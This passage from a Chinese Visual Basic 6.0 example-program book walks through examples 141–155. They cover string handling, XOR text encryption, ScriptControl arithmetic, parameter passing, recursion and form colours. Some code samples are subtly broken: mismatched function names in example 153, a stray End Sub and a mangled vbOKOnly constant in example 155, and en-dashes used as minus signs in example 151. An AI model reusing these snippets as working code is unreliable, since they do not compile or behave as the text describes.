strDir = Right(dirList.Path, Len(dirList.Path) - n)




下面示例演示如何去除"."号。



L1 = InStrRev(sFilename, ".", , vbTextCompare)
sFile = Left(sFilename, L1 - 1)




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“获得某个字符在一个字符串中最后出现的位置”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个TextBox控件，用于输入字符串信息；添加一个Label控件，用于显示结果；添加一个CommandButton控件，将Caption属性设置为“确定”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Label1.Caption = InStrRev(Text1, Text2)
End Sub




秘笈心法

心法领悟141：对Access数据库进行备份。

下面实现了对Access数据库进行备份的功能，首先获得数据库的备份名称，然后将其备份，程序的关键代码如下：



  sNewName = Text1.Text
  sDatabase = sNewName
  sBakFile = Left$(sDatabase, Len(sDatabase) - 4) & Date & ".mdb"
  If Check1.Value = 1 Then
     FileCopy sDatabase, sBakFile     '备份数据库
  End If






 实例142　获得字符串中指定后几位字符

光盘位置：光盘\MR\05\142

中级

趣味指数：[image: ]




实例说明

[image: ]
图5.21　获得字符串中指定后几位字符



利用Right函数可获得从字符串尾部开始指定长度的字符串。语法：Right（string,I），其中string为字符串，I代表从右往左取的长度。如本实例获得文本框Text1中字符串的后两位，单击“确定”按钮，在文本框Text2中显示文本框Text1中字符串的后两位，显示结果如图5.21所示。

关键技术

本实例主要是通过使用Right函数来实现的。


说明：
 Right函数的详细讲解请参见实例023中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“获得字符串中指定后几位字符”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个TextBox控件，用于输入字符串信息；添加一个Label控件，用于显示结果；添加一个CommandButton控件，将Caption属性设置为“确定”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Text2.Text = Right(Text1, 2)
End Sub




秘笈心法

心法领悟142：编号生成器。

编号生成器经常应用于数据库管理系统，普通的编号使用Recordset对象中的属性和方法并结合Format函数即可实现，而生成具有一定意义的编号，那么还需要使用Right函数。例如，生成“商品编号”，首先判断表中是否有记录，如果有，将该记录移到最后一条，“商品编号”为字母T与“商品编号”字段取右边4位加1，然后进行格式化处理后加以组合即可，否则“商品编号”为“T0001”。具体代码如下：



Private Sub CmdAdd_Click()
  Adodc1.RecordSource = "select * from tb_stock order by tradecode"
  Adodc1.Refresh
  If Adodc1.Recordset.RecordCount > 0 Then
   Adodc1.Recordset.MoveLast
   Text1(0).text = "T" & Format(Right(Adodc1.Recordset.Fields(0),4) + 1,"0000")
Else
   Text1(0).text = "T0001"
  End If
End Sub





 5.5　综合应用



 实例143　从字符串中分离文件路径、文件名及其扩展名

光盘位置：光盘\MR\05\143

中级

趣味指数：[image: ]




实例说明

在本实例中通过利用InStrRev函数获取字符“.”和“\”最后出现的位置来判断扩展名和文件名的位置和长度，最后利用Mid函数获取文件名和扩展名。运行程序，在文本框Text1中输入字符串“C:\WINDOWS\regedit.exe”，单击“分析”按钮，显示结果如图5.22所示。

[image: ]
图5.22　从字符串中分离文件路径、文件名及其扩展名



关键技术

本实例主要是通过使用InStrRev函数、Right函数、Left函数和Mid函数来实现的。使用InStrRev函数返回一个字符串在另一个字符串中出现的位置，从字符串的末尾算起；使用Right函数返回从字符串右边取出的指定数量的字符；使用Left函数返回字符串中从左边算起指定数量的字符；使用Mid函数返回字符串中指定数量的字符。


说明：
 （1）InStrRev函数的详细讲解请参见实例141中的关键技术。

（2）Right函数的详细讲解请参见实例023中的关键技术。

（3）Left函数的详细讲解请参见实例128中的关键技术。

（4）Mid函数的详细讲解请参见实例126中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“从字符串中分离文件路径、文件名及其扩展名”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加4个TextBox控件，用于输入字符串信息和显示结果信息；添加3个Label控件，将　Caption属性分别设置为“路径：”、“文件名：”和“扩展名：”；添加一个CommandButton控件，将Caption属性设置为“分析”。

（4）程序的运行代码如下：



Dim i, j As Integer
Private Sub Command1_Click()
    i = InStrRev(Text1, ".")
    Text4.Text = Right(Text1, Len(Text1) - i)
    j = InStrRev(Text1, "\")
    Text3.Text = Mid(Text1, j + 1, i - j - 1)
    Text2.Text = Left(Text1, Len(Text1) - Len(Text4) - Len(Text3) - 1)
End Sub




秘笈心法

心法领悟143：判断打开的文件，并显示其路径。

在使用CommonDialog控件打开文件时，有时需要判断用户打开的文件是否与程序所需要的文件一致，并显示已经打开的文件所在的路径。前者主要使用了Right和Len函数；后者则使用了Mid和Len函数。下面将利用这几个函数判断打开的“背景.bmp”图片，并显示其路径。具体代码如下：



Private Sub Command1_Click()
  With CommonDialog1
        '设置初始化文件目录
        .InitDir = CurDir
        .FileName = "背景.bmp"
        .ShowOpen
        If .FileName <> "" Then
        If Right(.FileName, Len("\背景.bmp")) = "\背景.bmp" Then
           Picture1.Picture = LoadPicture(.FileName)
           Label1.Caption = Mid(.FileName, 1, Len(.FileName) - Len("\背景.bmp"))
        Else
          MsgBox "图片选择不正确，请重新选择！"
        End If
        End If
  End With
End Sub






 实例144　进行文本加密与解密

光盘位置：光盘\MR\05\144

高级

趣味指数：[image: ]




实例说明
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图5.23　进行文本加密与解密



在本实例中首先利用Mid和Asc函数获取文本和密码字符串每一位字符的ASCII码，然后将文本中某一位字符串的ASCII码与相应的密码字符串中某一位的ASCII码进行异或运算。最后利用Chr函数将运算出的ASCII转换为字符。运行程序，在文本框中输入要加密的字符串和密码，单击“加密或解密”按钮，在文本框中将显示加密或解密后的字符串，显示结果如图5.23所示。

关键技术

本实例主要是通过使用Len函数、Asc函数和Mid函数来实现的。使用Len函数返回一个字符串中字符的数目；使用Asc函数返回字符串中首字母的字符代码；使用Mid函数返回字符串中指定数量的字符。


说明：
 （1）Len函数的详细讲解请参见实例087中的关键技术。

（2）Asc函数的详细讲解请参见实例122中的关键技术。

（3）Mid函数的详细讲解请参见实例126中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何进行文本加密与解密”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个TextBox控件，用于输入字符串信息；添加一个Label控件，将Caption属性设置为“密码”；添加一个CommandButton控件，将Caption属性设置为“加密或解密”。

（4）程序的运行代码如下：



Private Function encrypt(spassword As String, sText As String) As String
    Dim i As Integer
    Dim ipchar As Integer
    Dim icchar As Integer
    Do While Len(spassword) < Len(sText)
        spassword = spassword & spassword
    Loop
    For i = 1 To Len(sText)
        ipchar = Asc(Mid(spassword, i, 1))
        icchar = Asc(Mid(sText, i, 1))
        Mid(sText, i, 1) = Chr(ipchar Xor icchar)
    Next i
    encrypt = sText
    Text1.Text = sText
End Function




秘笈心法

心法领悟144：程序运行时获取文件路径。

当系统软件运行时可以使用CurDir函数来获得运行程序所在的系统路径，获得路径后将系统登录日志写入INI文件中。程序的关键代码如下：



Private Sub CmdLogin_Click()
…
      Open (CurDir & "\登录日志.ini") For Output As #2
          Print #2, Text1.Text + Text2.Text + "           " + Text3.Text + "               " & CStr(Date & Time)
      Close #2 
…
End Sub






 实例145　对字符串进行加、减、乘、除计算

光盘位置：光盘\MR\05\145

中级

趣味指数：[image: ]




实例说明

[image: ]
图5.24　对字符串进行加、减、乘、除计算



在本实例中利用ScriptControl控件实现对字符串进行算术运算的功能。ScriptControl控件不是标准的VB控件，需要通过在选择“工程”/“部件”命令后打开的对话框中选中Microsoft Script Control 1.0复选框将其添加到工具箱中。ScriptControl控件中的AddObject方法用来向ScriptControl控件中的字符串添加对象。利用ScriptControl控件中的AddCode方法可将字符串转换为VB指令。例如，在文本框Text1中输入“（3*2-1）/2+8”，单击“计算”按钮即可在文本框Text2中显示出计算值，显示结果如图5.24所示。

关键技术

本实例主要是通过使用Len函数、Asc函数和Mid函数来实现的。使用Len函数返回一个字符串中字符的数目；使用Asc函数返回字符串中首字母的字符代码；使用Mid函数返回字符串中指定数量的字符。


说明：
 （1）Len函数的详细讲解请参见实例087中的关键技术。

（2）Asc函数的详细讲解请参见实例122中的关键技术。

（3）Mid函数的详细讲解请参见实例126中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何对字符串进行加、减、乘、除计算”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个TextBox控件，用于输入字符串信息和显示结果；添加两个Label控件，将Caption属性分别设置为“字符串”和“结果”；添加一个CommandButton控件，将Caption属性设置为“计算”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Dim str As String
    str = Text2
    ScriptControl1.Reset
    ScriptControl1.AddObject "Text1", Text1, True
    ScriptControl1.AddCode "Text1.Text=" & str
End Sub




秘笈心法

心法领悟145：获取计算机名称。

下面实现了获取计算机名称的功能，程序的关键代码如下：



GetIPHostName = Left$(sHostName, InStr(sHostName, Chr(0)) - 1)






 实例146　统计字符个数

光盘位置：光盘\MR\05\146

中级

趣味指数：[image: ]




实例说明

本实例中利用Mid函数与Select Case语句判断该字符是否为所判断的字符。在文本框Text1中输入字符串后单击“统计”按钮将在标签Label1中显示文本框Text1中字符串内字符的个数，如图5.25所示。

[image: ]
图5.25　统计字符个数



关键技术

本实例主要是通过使用Len函数、Val函数和Mid函数来实现的。使用Len函数返回一个字符串中字符的数目；使用Val函数返回包含于字符串内的数字，字符串中是一个适当类型的数值；使用Mid函数返回字符串中指定数量的字符。


说明：
 （1）Len函数的详细讲解请参见实例087中的关键技术。

（2）Val函数的详细讲解请参见实例019中的关键技术。

（3）Mid函数的详细讲解请参见实例126中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“统计字符个数”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，用于输入信息；添加10个Label控件，用于显示信息和结果；添加一个CommandButton控件，将Caption属性设置为“统计”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Command1.Caption = "统计"
    Dim i As Integer
    Dim casestr As String
    For i = 1 To Len(Text1.Text)
    casestr = Mid(Text1, i, 1)
    Select Case casestr
        Case "a" To "z", "A" To "Z" '字母个数
            Label1.Caption = Val(Label1.Caption) + 1
        Case " "        '空格个数
            Label2.Caption = Val(Label2.Caption) + 1
        Case 0 To 9     '数字个数
            Label3.Caption = Val(Label3.Caption) + 1
        Case Else       '其他字符
            Label4.Caption = Val(Label4.Caption) + 1
      End Select
    Next
End Sub




秘笈心法

心法领悟146：实现查找w在www.mingrisoft.com字符串中出现的位置。

本实例实现了查找字符在字符串中出现的位置的功能，最后将位置显示在立即窗口中。程序的关键代码如下：



Dim myval As Variant
myval = InStrRev("www.mingrisoft.com", "w")       '变量myval的返回值为3
Debug.Print myval






 实例147　实现字节数组和字符串的相互转换

光盘位置：光盘\MR\05\147

中级

趣味指数：[image: ]




实例说明
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图5.26　进行字节数组和字符串的相互转换



在本实例中利用Mid函数和For循环语句将字符串中的每一字节添加到数组中；利用UBound函数获取数组的上标，结合For循环语句，可将数组中的每个元素组合成字符串。运行程序后在文本框Text1中输入字符串“temp”，单击“转换为数组”按钮后再单击“转换为字符串”按钮，显示结果图5.26所示。

关键技术

本实例主要是通过使用Len函数和Mid函数来实现的。使用Len函数返回一个字符串中字符的数目；使用Mid函数返回字符串中指定数量的字符。


说明：
 （1）Len函数的详细讲解请参见实例087中的关键技术。

（2）Mid函数的详细讲解请参见实例126中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何进行字节数组和字符串的相互转换”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个TextBox控件，用于输入字符串；添加两个CommandButton控件，将Caption属性分别设置为“转换为数组”和“转换为字符串”。

（4）程序的运行代码如下：



Dim arr()
Private Sub Command1_Click()
    Dim i
    ReDim arr(Len(Text1))
    For i = 1 To Len(Text1)
        arr(i) = Mid(Text1, i, 1)
    Next i
End Sub
Private Sub Command2_Click()
    Dim t, i
    For i = 0 To UBound(arr)
        t = t & arr(i)
    Next i
    Text2.Text = t
End Sub




秘笈心法

心法领悟147：局部常量小知识。

局部常量在所需要使用的过程中声明，并且只能应用在该过程中，只有当该过程被程序调用时，该常量才存在，过程结束后该常量也将被内存释放掉。



 实例148　用VB分离出文本框的单词

光盘位置：光盘\MR\05\148

中级

趣味指数：[image: ]




实例说明
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图5.27　用VB分离出文本框的单词



在本实例中首先利用TextBox控件的SelStart属性指定英文单词首个字母的位置，然后利用Mid函数结合Asc函数判断文本框中字符串的某一位是否是英文，用来确定英文单词的长度。运行本例程序后在文本框中英文字母前单击鼠标左键，即可出现分离出的英文单词，显示结果如图5.27所示。

关键技术

本实例主要是通过使用Len函数、Asc函数和Mid函数来实现的。使用Len函数返回一个字符串中字符的数目；使用Asc函数返回字符串中首字母的字符代码；使用Mid函数返回字符串中指定数量的字符。


说明：
 （1）Len函数的详细讲解请参见实例087中的关键技术。

（2）Asc函数的详细讲解请参见实例122中的关键技术。

（3）Mid函数的详细讲解请参见实例126中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“用VB分离出文本框的单词”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个TextBox控件，用于输入信息。

（4）程序的运行代码如下：



Private Sub Text1_Click()
    Text1.ToolTipText = ""
    If Len(Text1) > 0 Then
        Dim i
        i = Text1.SelStart
        Dim j, p
        p = 0
        For j = i + 1 To Len(Text1)
            If (Asc(Mid(Text1, j, 1)) >= 65 And Asc(Mid(Text1, j, 1)) <= 90) Or (Asc(Mid(Text1, j, 1)) >= 97 And Asc(Mid(Text1, j, 1)) <= 122)
Then
            p = p + 1
            Else
                Exit For
            End If
        Next j
        Text1.ToolTipText = Mid(Text1, i + 1, p)
    End If
End Sub




秘笈心法

心法领悟148：GetAutoServerSettings函数的使用。

该函数主要用于检索ActiveX部件状态信息，是关于远程注册对象的信息还是本地注册对象的信息。实现的关键代码如下：



   Dim oRegClass As New RegClass  '引用RacReg对象
   Dim vRC As Variant
   vRC = oRegClass.GetAutoServerSettings("ADODB.Connection")
   If Not (IsEmpty(vRC)) Then
      If vRC(1) Then
         MsgBox "该控件已经在远程机器上注册，注册机器名称为： " & vRC(2), , "系统提示"
      Else
         MsgBox "该控件已经在本地机器上注册。", , "系统提示"
      End If
    End If





第6章　过程与函数

自定义过程

综合应用

内置函数

日期函数专栏






 6.1　自定义过程



 实例149　过程值传递参数

光盘位置：光盘\MR\06\149

初级

趣味指数：[image: ]




实例说明
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图6.1　过程值传递参数



值传递参数在声明过程时，参数前面加上关键字ByVal，即规定在调用此过程时该参数是按值传递的。按值传递参数时，传递的是变量的副本。即使在过程中改变这个值也不会影响变量本身。运行程序，分别显示值传递参数在传递前和传递后的数值，显示结果如图6.1所示。

关键技术

本实例主要是通过使用参数传递的按值传递来实现的。

在定义Sub、Function过程的参数时，根据参数定义使用的关键字（ByRef，ByVal）可以将程序传递给过程的参数分为按值传递和按址传递，语法如下：



[Optional] [ByVal | ByRef] [ParamArray] <变量名>[( )] [As <类型>] [= <默认值>]




过程中各参数的说明如表6.1所示。

表6.1　过程中各参数的说明



	参数
	说明



	Optional
	可选参数。表示参数不是必需的关键字。如果使用了该选项，则参数列中的后续参数都必须是可选的，而且必须都使用Optional关键字声明。如果使用了ParamArray，则任何参数都不能使用Optional关键字



	ByVal
	可选参数。表示该参数按值传递



	ByRef
	可选参数。表示该参数按址传递。ByRef是默认值



	ParamArray
	可选参数。只用于参数列的最后一个参数，指明最后这个参数是一个Variant元素的Optional数组。使用ParamArray关键字可以提供任意数目的参数。ParamArray关键字不能与ByVal、ByRef或Optional参数一起使用



	变量名
	必选参数。代表参数变量的名称，遵循标准的变量命名约定



	类型
	可选参数。传递给该过程参数的数据类型，可以是Byte、Boolean、Integer、Long、Currency、Single、Double、Date、String（只支持变长）、Object或Variant类型。如果没有选择参数Optional，则可以指定用户定义类型或对象类型



	默认值
	可选参数。任何常数或常数表达式。只对Optional参数合法。如果类型为Object，则显式的默认值只能是 Nothing




1．按值传递

按值传递使用ByVal关键字定义参数。使用时，程序为形参在内存中临时分配一个内存单元，并将实参的值复制到这个内存单元中。当过程中改变形参的值时，只是改变形参内存单元中的值，实参的值不会改变。

2．按址传递

按址传递使用ByRef关键字定义参数，是参数定义的默认值。在使用时，形参指向实参的内存单元，当过程中的形参被改变时，实参也将会被改变。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“过程值传递参数”，StartUpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub mysub(ByVal i As Integer)
    i = 100
End Sub
    
Private Sub Form_Resize()
    Dim num As Integer
    num = 1
    Print "传递前:" & num
    Call mysub(num)
    Print "传递后:" & num
End Sub




秘笈心法

心法领悟149：初始过程小知识。

过程能够使计算机完成特定的任务，因此熟练地使用过程是编写高质量应用程序的基础。VB中的过程包括事件过程、子过程（即通用过程）和函数过程等。



 实例150　过程引用传递参数

光盘位置：光盘\MR\06\150

初级

趣味指数：[image: ]




实例说明
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图6.2　过程引用传递参数



引用传递参数在声明过程时，参数前面加上关键字ByRef，即规定了调用此过程时，该参数是按地址传递的。按地址传递参数时，过程用变量的内存地址去访问实际变量的内容，将变量的结果传递给过程时，过程可以永远改变该变量值。运行程序，分别显示引用传递参数在传递前和传递后的数值，显示结果如图6.2所示。

关键技术

本实例主要是通过使用参数传递的按址传递来实现的。


说明：
 参数的按址传递和按值传递的详细讲解请参见实例149中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“过程引用传递参数”，StartUpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub mysub(ByRef i As Integer)
    i = 100
End Sub
Private Sub Form_Resize()
    Dim num As Integer
    num = 1
    Print "传递前:" & num
    Call mysub(num)
    Print "传递后:" & num
End Sub




秘笈心法

心法领悟150：理解Visual Basic 6.0中的过程。

“过程”就是一个功能相对独立的程序逻辑单元，即一段独立的程序代码，Visual Basic应用程序一般都是由过程组成的，Visual Basic中的过程分为事件过程和通用过程。其中事件过程是当发生了某个事件（如单击鼠标的Click事件、窗体载入的Load事件、控件发生改变的Change事件）时，对该事件作出响应的程序段。通用过程是多个事件过程需要使用的一段相同的程序代码，它可以单独建立、供事件过程或其他过程调用。



 实例151　不借助第3个变量实现两个变量互换

光盘位置：光盘\MR\06\151

高级

趣味指数：[image: ]




实例说明

本实例通过两个变量的运算实现不借助第3个变量来实现交换两个变量的值。运行程序，在文本框中输入两个变量的值，单击“交换”按钮交换两个变量的值，程序的运行效果如图6.3所示。

[image: ]
图6.3　交换后的效果



关键技术

在交换两个变量的值时，可以借助第3个变量，来实现交换两个变量的功能。那么，如何实现不借助第3个变量来实现两个变量的交换呢？

不借助第3个变量实现两个变量互换的算法为：首先将两个数的和减去b的值赋给b，这个值就是原来的a的值，然后将两个数的和减去新得到的b的值赋给变量a，这个b的值是原来a的值，得到的是原本b的值。

设计过程

（1）新建一个标准的EXE工程。

（2）在工程中创建一个窗体，使用窗体的默认名，设置窗体的Caption属性为“交换两个变量的值”。

（3）在窗体上添加4个Label控件，设置Label1的Caption属性为“输入a和b的值”，Label2的Caption属性为a，Label3的Caption属性为b，Label4的Caption属性为空。将这几个Label控件的BackStyle属性设置为0-Transparent。

（4）在窗体上添加两个TextBox控件，命名为Txt_a和Txt_b，设置Text属性为空。

（5）在窗体上添加两个CommandButton控件，使用默认名，设置Caption属性为“交换”和“退出”。

（6）当用户在文本框中输入两个变量的值，单击“交换”按钮，实现将两个变量的值交换，程序代码如下：



Private Sub exchange()                                                         '交换
    Dim a As Integer                                            '定义变量a
    Dim b As Integer                                            '定义变量b
    If IsNumeric(Txt_a.Text) Then                                    '如果输入的值是数值型数
        a = Val(Txt_a.Text)                                        '将其赋给变量a
    Else                                                    '否则
        MsgBox "请输入数字！"                                    '弹出提示对话框
        Exit Sub                                                '退出过程
    End If
    If IsNumeric(Txt_b.Text) Then                                    '如果输入的值是数值型的数
        b = Val(Txt_b.Text)                                        '将其赋给变量b
    Else                                                    '否则
        MsgBox "请输入数字！"                                    '弹出提示对话框
        Exit Sub                                                '退出过程
    End If
    a = a + b                                                    '就将两个数的和赋给a
    '将两个数的和减去b的值赋给b，这个值就是原来的a的值
    b = a – b                                                
    '将两个数的和减去新得到的b的值赋给变量a，这个b的值是原来a的值，得到的是原本b的值
    a = a – b                                                
    Lbl_Info.Caption = "a的值是:" & a & "   b的值是:" & b                    '在标签中输出交换的结果
End Sub




秘笈心法

心法领悟151：子过程、函数过程和属性过程的区别。

在Visual Basic中通用过程又分为子过程（Sub过程）、函数过程（Function过程）和属性过程（Property过程）。Sub过程不返回值；Function过程返回一个值；Property过程可以返回和设置窗体、标准模块以及类模块，也可以设置对象的属性。



 实例152　计算加权平均值

光盘位置：光盘\MR\06\152

中级

趣味指数：[image: ]




实例说明

本实例主要实现了计算加权平均值。运行程序，首先输入3种水果的单价和销量，单击“计算”按钮，将加权平均值结果显示出来，程序的运行效果如图6.4所示。

[image: ]
图6.4　计算加权平均值



关键技术

本实例主要是通过使用加权平均值的算法来实现的。首先需要自定义一个计算加权平均值的函数，在该函数中先求出所有商品售价的总和，然后将总和除以所有商品的销量，从而计算出加权平均值。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何计算加权平均值”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加10个标签控件，用于显示提示信息；添加7个TextBox控件，用于输入单价、数量信息和加权平均值的结果；添加一个CommandButton控件，将Caption属性设置为“计算”。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    Text7.Text = jiaquan(Text1, Text2, Text3, Text4, Text5, Text6)
End Sub
Private Function jiaquan(ByVal a As Integer, ByVal b As Integer, ByVal c As Integer, ByVal d As Integer,  _
ByVal e As Integer, ByVal f As Integer)  '自定义过程
    Dim sum As Integer
    sum = (a * b + c * d + e * f) / (b + d + f)
    sum = Round(sum, 2)
    jiaquan = sum
End Function




秘笈心法

心法领悟152：通用过程的子过程。

子过程也可叫做Sub过程或通用过程，它用来完成特定的任务。使用Sub过程首先要建立它，然后直接使用过程名或使用Call语句调用。



 实例153　检查参数是否成功传递给用户自定义过程

光盘位置：光盘\MR\06\153

中级

趣味指数：[image: ]




实例说明

本实例的功能是检查参数是否成功传递给用户的自定义过程。运行程序，在文本框1中输入参数值，单击“加参数”按钮，将提示传递参数成功对话框，运行结果如图6.5所示；单击“没参数”按钮，将弹出传递参数失败对话框，程序的运行效果如图6.6所示。



	[image: ]
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	图6.5　检查参数是否成功传递成功-1
	图6.6　检查参数是否成功传递成功-2




关键技术

本实例主要是通过使用IsMissing函数来实现的。利用IsMissing函数可以检查参数是否已成功传递给用户自定义过程，返回Boolean值，指出一个可选的Variant参数是否已经传递给过程，语法如下：



IsMissing(argname)




参数说明

argname：必选参数。argname参数包含一个可选的Variant过程参数名。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“检查参数是否成功传递给用户自定义过程”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个TextBox控件，分别用于输入信息和输出结果；添加一个Label控件，Caption属性设置为“的平方等于”；添加3个CommandButton控件，将Caption属性分别设置为“加参数”、“没参数”和“退出”。

（4）程序的运行代码如下：



Private Function Check(Optional A)
    If IsMissing(A) = True Then
    MsgBox "传递参数失败"
Else
    Dim j
    j = A ^ 2
    jiancha = j
    MsgBox "传递参数成功" & A & "的平方是" & j
End If
End Function
Private Sub Command1_Click()
    Text2.Text = jiancha(Val(Text1))  '加参数
End Sub
Private Sub Command2_Click()
    Text2.Text = jiancha()  '没参数
End Sub




秘笈心法

心法领悟153：通用过程的函数过程。

Function过程又称函数过程。函数过程与子过程基本一样，也是用来完成特定功能的且独立的程序代码。与子过程不同的是，函数过程可以返回一个值给程序调用。Function是函数过程的开始标记，End Function是函数过程的结束标记。<语句>是具有特定功能的程序段，Exit Function语句表示退出函数过程。As子句决定函数过程返回值的数据类型，如果忽略As子句，函数过程返回值的数据类型为变体型。这里建议在实际编程中，使用As子句，以养成良好的编程习惯。



 实例154　使用递归过程实现阶乘运算

光盘位置：光盘\MR\06\154

中级

趣味指数：[image: ]




实例说明

本实例主要是使用递归过程实现阶乘的运算，例如，输入一个整数6，单击“计算”按钮，将显示其结果为720，程序的运行效果如图6.7所示。

[image: ]
图6.7　计算一个数的阶乘



关键技术

本实例主要是通过使用递归的算法来实现的。递归过程是指在过程中直接或间接地调用过程本身，也就是自己调用自己的过程，代码如下：



Private Function MyFunction(a As Interger)
  Dim b As Integer
  …
  MyFunction = MyFunction(b)
  …
End Function




在该过程中，MyFunction函数过程中调用了MyFunction函数本身。使用递归过程时，要确保递归能终止，否则将出现“堆栈空间溢出”错误。

例如用递归的方法计算一个1～30任意一个整数的阶乘，代码如下：



Function F(n As Integer) As Single
  If n > 1 And n <= 30 Then                            '如果n大于1并小于等于30
    F = n * F(n - 1)                                    '函数F调用自身
  Else                                            '否则
    F = 1                                        '函数F等于1
  End If
End Function
Private Sub Command1_Click()
  Text2.Text = F(Val(Text1.Text))                            '调用函数过程，输出结果
End Sub




程序执行流程如图6.8所示。按F5键，运行程序，输入“4”，单击“计算”按钮，结果为24。

[image: ]
图6.8　递归执行流程



设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“计算一个数的阶乘”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，Caption属性分别设置为“请输入一个数：”和“结果：”；添加两个Text Box控件，用于输入信息和输出结果；添加一个CommandButton控件，将Caption属性设置为“计算”。

（4）程序的运行代码如下：



Function F(n As Integer) As Single
    If n > 1 And n <= 30 Then
        F = n * F(n - 1)
    Else
        F = 1
    End If
End Function
Private Sub Command1_Click()
    Text2.Text = F(Val(Text1.Text))
End Sub




秘笈心法

心法领悟154：通用过程的Property过程。

Property过程也称属性过程，该过程用于创建和操作类模块的属性。它包括以一个Property Let、Property Get或Property Set语句开头，以一个End Property语句结束。其中Property Get过程的返回值类型必须与相应的Property Let过程（如果有）的最后一个（有时是仅有的）参数的数据类型相同，该Property Let过程将其右边表达式的值赋给属性。


 6.2　综合应用



 实例155　制作改变窗体颜色的自定义过程

光盘位置：光盘\MR\06\155

中级

趣味指数：[image: ]




实例说明

在开发程序时，经常要设置窗体的背景颜色，以达到美化窗体的效果。本实例实现运行程序后，在组合框中选择颜色，单击“点这里”按钮，改变窗体的背景颜色，程序的运行效果如图6.9和图6.10所示。
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	图6.9　选择黄色窗体背景颜色
	图6.10　选择绿色窗体背景颜色




关键技术

本实例主要是通过定义一个字符串变量的数组，当单击组合框中的某一项目时，将颜色值赋给字符串变量，然后由Select Case语句选择需要执行的代码，再通过RGB函数更改窗体背景颜色。


说明：
 Select Case语句的详细讲解请参见实例023中的关键技术。

（1）RGB函数

该函数用于返回一个Long整数，用来表示一个RGB颜色值，语法如下：



RGB(red, green, blue)




参数说明

❶red：必选参数；Variant(Integer)。数值范围从0～255，表示颜色的红色成分。

❷green：必选参数；Variant(Integer)。数值范围从0～255，表示颜色的绿色成分。

❸blue：必选参数；Variant(Integer)。数值范围从0～255，表示颜色的蓝色成分。

（2）静态数组

静态数组使用Dim语句来声明，语法如下：



Public|Private|Dim 数组名(下标)[As 数据类型]




声明静态数组语法中各部分的说明如表6.2所示。

表6.2　静态数组语法中各部分的说明



	部分
	说明



	Public|Private|Dim
	只能选取一个而且必选其一；如果声明的是模块级别的数组，数组在该模块中的所有过程都是可用的；如果声明的是过程级别的数组，数组只能在该过程内可用



	数组名
	只能选取一个而且必选其一



	下标
	必选参数。数组变量的维数，必须为常数；最多可以声明60维的多维数组，下标下界最小可为−32768，最大上界为32767。可省略下界，默认值为0



	数据类型
	可选参数。变量的数据类型





说明：
 数组的下标由下界与上界组成，下界即数组中最小数组元素，上界是数组中最大的数组元素。在Visual Basic 6.0中使用Dim语句声明几种不同数据类型、不同大小的数组。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“改变窗体背景颜色”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件，使用其默认名称Label1，Caption属性设置为“选择颜色：”，并设置Font属性和ForeColor属性。

（4）在窗体上添加一个ComboBox控件，使用其默认名称Combo1，并设置Font属性和ForeColor属性。

（5）在窗体上添加一个CommandButton控件，使用其默认名称Command1，设置Styles属性为1-Graphical，并设置Pictures属性。

（6）程序的运行代码如下：



Sub CB(Ys As String, Co As Object)
    If TypeOf Co Is Form Then
        Select Case Ys                            '判断选择的颜色
        Case "红色"
            Co.BackColor = RGB(255, 0, 0)
        Case "黄色"
            Co.BackColor = RGB(255, 255, 0)
        Case "绿色"
            Co.BackColor = RGB(0, 255, 0)
        Case "蓝色"
            Co.BackColor = RGB(0, 0, 255)
        Case Else
            MsgBox "无该颜色，请重新选择。", Visual Basic6.0OKOnly, "提示"
        End Select
    End If
End Sub
End Sub
Private Sub Combo1_Click()
    A(5) = Combo1.Text
End Sub
Private Sub Command1_Click()
    CB A(5), Form1
End Sub
Private Sub Form_Load()
    Dim i As Long
    A(1) = "红色"
    A(2) = "黑色"
    A(3) = "白色"
    A(4) = "蓝色"
